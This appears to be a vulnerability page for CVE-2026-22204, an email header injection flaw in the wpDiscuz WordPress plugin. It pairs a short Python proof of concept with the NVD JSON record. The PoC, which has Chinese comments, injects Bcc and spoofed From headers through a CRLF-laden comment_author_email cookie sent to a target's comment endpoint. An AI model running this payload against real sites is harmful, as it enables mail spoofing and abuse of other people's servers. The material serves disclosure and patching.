CVE-2026-22204

# CVE-2026-22204 Email Header Injection PoC # wpDiscuz < 7.6.47 import requests import urllib.parse target_url = "http://target-wordpress-site.com" # 构造恶意Cookie值，注入邮件头 # 通过换行符注入额外的收件人 malicious_email = "[email protected]%0d%0aBcc: [email protected], [email protected]" # 或者伪造发件人 malicious_email_v2 = "[email protected]%0d%0aFrom: Admin <[email protected]>" # 设置Cookie并发送请求 cookies = { 'comment_author_email': urllib.parse.unquote(malicious_email) } # 触发评论提交流程 # 实际攻击需要找到评论提交的具体端点 response = requests.post( f"{target_url}/wp-comments-post.php", data={ 'comment': 'Test comment for CVE-2026-22204', 'author': 'Attacker', 'email': '[email protected]', 'url': '', 'submit': 'Post Comment' }, cookies=cookies, allow_redirects=False ) print(f"Response Status: {response.status_code}") print("If successful, the plugin may send emails with injected headers")

{"cve": {"id": "CVE-2026-22204", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:10.790", "lastModified": "2026-03-17T11:47:27.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "wpDiscuz before 7.6.47 contains an email header injection vulnerability that allows attackers to manipulate mail recipients by injecting malicious data into the comment_author_email cookie. Attackers can craft a malicious cookie value that, when processed through urldecode() and passed to wp_mail() functions, enables header injection to alter email recipients or inject additional headers."}, {"lang": "es", "value": "wpDiscuz anterior a la versión 7.6.47 contiene una vulnerabilidad de inyección de encabezado de correo electrónico que permite a los atacantes manipular a los destinatarios del correo inyectando datos maliciosos en la cookie comment_author_email. Los atacantes pueden crear un valor de cookie malicioso que, cuando se procesa a través de urldecode() y se pasa a las funciones wp_mail(), permite la inyección de encabezados para alterar a los destinatarios del correo electrónico o inyectar encabezados adicionales."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gvectors:wpdiscuz:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "7.6.47", "matchCriteriaId": "A81F51B9-0C21-4F7E-876B-C09A66B9AE05"}]}]}], "references": [{"url": "https://wordpress.org/plugins/wpdiscuz/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://wordpress.org/plugins/wpdiscuz/#developers", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/wpdiscuz-before-unsanitized-cookie-email-used-as-wp-mail-recipient", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}